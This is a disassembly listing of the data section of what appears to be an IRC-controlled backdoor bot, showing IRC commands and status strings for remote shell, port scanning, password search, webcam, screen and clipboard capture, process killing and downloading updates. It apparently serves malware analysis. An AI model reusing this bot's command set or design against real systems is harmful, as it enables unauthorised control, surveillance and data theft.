aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+5CC6o
		align 4
dword_43555C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5C74o
		dd 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_435598	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5C60o
		dd 2BBBB02h, 6F422020h,	44492074h, 7325203Ah, 2Eh
dword_4355C0	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+5C3Bo
		dd 2029671Fh, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_435608	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+5BD0o
		dd 2029671Fh, 2BBBB02h,	694C2020h, 74207473h, 61657268h
		dd 2E7364h
dword_435634	dd 627573h		; DATA XREF: sub_40EE72+5BAAo
dword_435638	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5B5Bo
		dd 2BBBB02h, 6C412020h,	20736169h, 7473696Ch, 2Eh
dword_435660	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5B40o
		dd 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_4356A8	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5AD1o
		dd 2BBBB02h, 694C2020h,	6E697473h, 6F6C2067h, 2E67h
dword_4356D0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5A34o
		dd 2BBBB02h, 654E2020h,	726F7774h, 6E49206Bh, 2E6F66h
dword_4356F8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5A02o
		dd 2BBBB02h, 79532020h,	6D657473h, 666E4920h, 2E6Fh
dword_435720	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+59ADo
		dd 2BBBB02h, 65522020h,	69766F6Dh, 4220676Eh, 2E746Fh
unk_435748	db    2			; DATA XREF: sub_40EE72+599Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_9	db 'Failed to start listing thread, error: <%d>.',0
		align 4
dword_435798	dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
					; DATA XREF: sub_40EE72+592Bo
		dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h,	73736563h
		dd 73696C20h, 2E74h
aFull		db 'full',0             ; DATA XREF: sub_40EE72+590Bo
		align 10h
unk_4357D0	db    2			; DATA XREF: sub_40EE72+58B4o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aAlreadyRunning	db 'Already running.',0
		align 4
unk_435804	db    2			; DATA XREF: sub_40EE72+5891o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	64h, 6Bh
		db  65h	; e
		db 79h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 4
dword_435834	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5848o
		dd 2BBBB02h, 70552020h,	656D6974h, 7325203Ah, 2Eh
dword_43585C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4145F7o
		dd 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_43588C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+577Eo
		dd 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 4
dword_4358C4	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5762o
		dd 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_4358FC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5744o
		dd 2BBBB02h, 65472020h,	6C432074h, 6F627069h, 2E647261h
		dd 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE72+5716o
		align 4
unk_43593C	db    2			; DATA XREF: sub_40EE72:loc_414578o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 4
unk_435978	db    2			; DATA XREF: sub_40EE72+56EBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 4
unk_4359AC	db    2			; DATA XREF: sub_40EE72:loc_41454Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 4
unk_4359E8	db    2			; DATA XREF: sub_40EE72:loc_414546o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 4
unk_435A24	db    2			; DATA XREF: sub_40EE72+56CDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 4
dword_435A58	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE72+565Do
		dd 2029671Fh, 2BBBB02h
aFailedToSta_10	db '  Failed to start server thread, error: <%d>.',0
		align 4
dword_435AA4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE72+55F2o
		dd 2029671Fh, 2BBBB02h
aServerListen_0	db '  Server listening on IP: %s:%d, Username: %s.',0
		align 10h
unk_435AF0	db    2			; DATA XREF: sub_40EE72+5526o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToSta_11	db 'Failed to start server thread, error: <%d>.',0
unk_435B38	db    2			; DATA XREF: sub_40EE72+53B0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_12	db '  Failed to start server thread, error: <%d>.',0
		align 10h
unk_435B80	db    2			; DATA XREF: sub_40EE72+5285o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyRunni_0	db '  Already running.',0
unk_435BAC	db    2			; DATA XREF: sub_40EE72+526Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_13	db '   Failed to start search thread, error: <%d>.',0
unk_435BF8	db    2			; DATA XREF: sub_40EE72+51FEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForPa	db '   Searching for password.',0
unk_435C30	db    2			; DATA XREF: sub_40EE72:loc_414037o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start scan, port is invalid.',0
		align 4
unk_435C74	db    2			; DATA XREF: sub_40EE72+5106o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
dword_435CEC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4EC6o
		dd 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
dword_435D20	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4EAAo
		dd 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_435D50	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4E87o
		dd 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_435D80	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4E6Bo
		dd 2BBBB02h, 52492020h,	61522043h, 25203A77h, 2E73h
dword_435DA8	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413C5Co
		dd 2029671Fh, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 4
dword_435DE4	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4DE3o
		dd 2029671Fh, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 4
dword_435E18	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413C0Fo
		dd 2029671Fh, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 10h
dword_435E50	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4D84o
		dd 2029671Fh, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_40EE72+4D6Ao
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4CE3o
					; sub_40EE72:loc_414B4Ao
		align 4
dword_435E9C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4C68o
		dd 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_435ED0	db    3			; DATA XREF: sub_40EE72:loc_413AC5o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5CouldnTOpenFi	db '5  Couldn',27h,'t open file: %s',0
		align 4
unk_435F14	db    3			; DATA XREF: sub_40EE72+4C49o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5FileOpenedS	db '5  File opened: %s',0
		align 10h
dword_435F50	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4C29o
		dd 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_435F84	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_413A4Fo
		dd 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
dword_435FBC	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4BB2o
		dd 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
unk_435FE8	db    2			; DATA XREF: sub_40EE72:loc_4139F0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToTermin	db 'Failed to terminate process: %s',0
unk_436028	db    2			; DATA XREF: sub_40EE72+4B74o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aProcessKilledS	db 'Process killed: %s',0
		align 4
unk_43605C	db    2			; DATA XREF: sub_40EE72:loc_413990o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToTerm_0	db 'Failed to terminate process ID: %s',0
		align 10h
unk_4360A0	db    2			; DATA XREF: sub_40EE72+4B17o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aProcessKilledI	db 'Process killed ID: %s',0
		align 4
dword_4360D8	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72+4AD2o
		dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h,	2E277325h
		dd 0
dword_436104	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4A4Do
		dd 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 4
dword_436138	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72+49D2o
		dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_43615C	db    2			; DATA XREF: sub_40EE72+49B4o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToSta_15	db 'Failed to start connection thread, error: <%d>.',0
dword_4361A8	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40EE72+4945o
		dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h,	0
dword_4361D0	dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE72:loc_413745o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh,	2E746E65h
		dd 0
unk_4361FC	db    2			; DATA XREF: sub_40EE72+48C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Dh,	69h, 72h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_436228	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4898o
		dd 2BBBB02h, 6F432020h,	6E616D6Dh, 203A7364h, 7325h
dword_436250	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+488Do
		dd 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 4
dword_43628C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+484Do
		dd 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 4
dword_4362BC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4839o
		dd 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 10h
dword_4362F0	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413639o
		dd 2029671Fh, 2BBBB02h
aInvalidParam_0	db '  Invalid parameters for amateur video capture.',0
dword_43633C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41362Fo
		dd 2029671Fh, 2BBBB02h
aErrorWhileCapt	db '  Error while capturing amateur video from webcam.',0
		align 4
dword_43638C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+47B3o
		dd 2029671Fh, 2BBBB02h
aAmateurVideoSa	db '  Amateur video saved to: %s.',0
		align 4
dword_4363C8	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41358Do
		dd 2029671Fh, 2BBBB02h
aInvalidParam_1	db '  Invalid parameters for webcam capture.',0
		align 10h
dword_436410	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413586o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_0	db '  Error while capturing from webcam.',0
		align 4
dword_436454	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4704o
		dd 2029671Fh, 2BBBB02h
aWebcamCaptureS	db '  Webcam capture saved to: %s.',0
		align 10h
aFrame		db 'frame',0            ; DATA XREF: sub_40EE72:loc_4134FAo
		align 4
dword_436498	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+467Bo
		dd 2029671Fh, 2BBBB02h
aDriverListComp	db '  Driver list complete.',0
dword_4364CC	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4645o
		dd 2029671Fh, 2BBBB02h
aDriverDSS_	db '  Driver #%d - %s - %s.',0
aDrivers	db 'drivers',0          ; DATA XREF: sub_40EE72:loc_413463o
dword_436508	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413450o
		dd 2029671Fh, 2BBBB02h
aNoFilenameSpec	db '  No filename specified for screen capture.',0
dword_436550	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413449o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_1	db '  Error while capturing screen.',0
dword_43658C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+45C7o
		dd 2029671Fh, 2BBBB02h
aScreenCaptureS	db '  Screen capture saved to: %s.',0
		align 4
aScreen		db 'screen',0           ; DATA XREF: sub_40EE72:loc_413400o
		align 10h
dword_4365D0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4576o
		dd 2BBBB02h, 65472020h,	736F6874h, 25203A74h, 2E73h
dword_4365F8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4532o
		dd 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_436638	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4516o
		dd 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 4
dword_43666C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4496o
		dd 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_436698	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+445Fo
		dd 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 4
dword_4366C4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4411o
		dd 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 10h
dword_4366F0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+43A0o
		dd 2BBBB02h, 79432020h,	2E656C63h, 0
dword_436714	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE72+4366o
					; sub_40EE72+4E76o
dword_436720	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+433Fo
		dd 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+432Eo
		align 4
dword_436758	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4305o
		dd 2202967h, 2002BBBBh,	77615220h, 73252820h, 25203A29h
		dd 73h
dword_436784	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4297o
		dd 2202967h, 2002BBBBh,	646F4D20h, 25282065h, 203A2973h
		dd 7325h
dword_4367B0	dd 45444F4Dh, 732520h	; DATA XREF: sub_40EE72+423Fo
dword_4367B8	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4212o
		dd 2202967h, 2002BBBBh,	63694E20h, 2528206Bh, 203A2973h
		dd 7325h
dword_4367E4	dd 4B43494Eh, 732520h	; DATA XREF: sub_40EE72+41B9o
					; sub_40EE72+4CADo
dword_4367EC	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EE72+419Ao
dword_4367F8	dd 54524150h, 732520h	; DATA XREF: sub_40EE72+4130o
dword_436800	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_412F8Fo
		dd 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 4
dword_436844	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+40E6o
		dd 2BBBB02h, 65522020h,	74616570h, 7325203Ah, 0
aRepeat		db 'repeat',0           ; DATA XREF: sub_40EE72+4092o
		align 4
dword_436874	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_412EBCo
		dd 2BBBB02h, 65442020h,	2E79616Ch, 0
dword_436898	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_40EE72+400Ao
					; sub_40EE72+40BDo ...
unk_4368A8	db    2			; DATA XREF: sub_40EE72:loc_412E29o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_4368FC	db    2			; DATA XREF: sub_40EE72+3FADo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
unk_436948	db    2			; DATA XREF: sub_40EE72+3F3Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40EE72+3E95o
		align 10h
dword_436990	dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE72+3E33o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh,	732520h
unk_4369B8	db    2			; DATA XREF: sub_40EE72+3E28o
		db 6Eh,	2, 7Ah
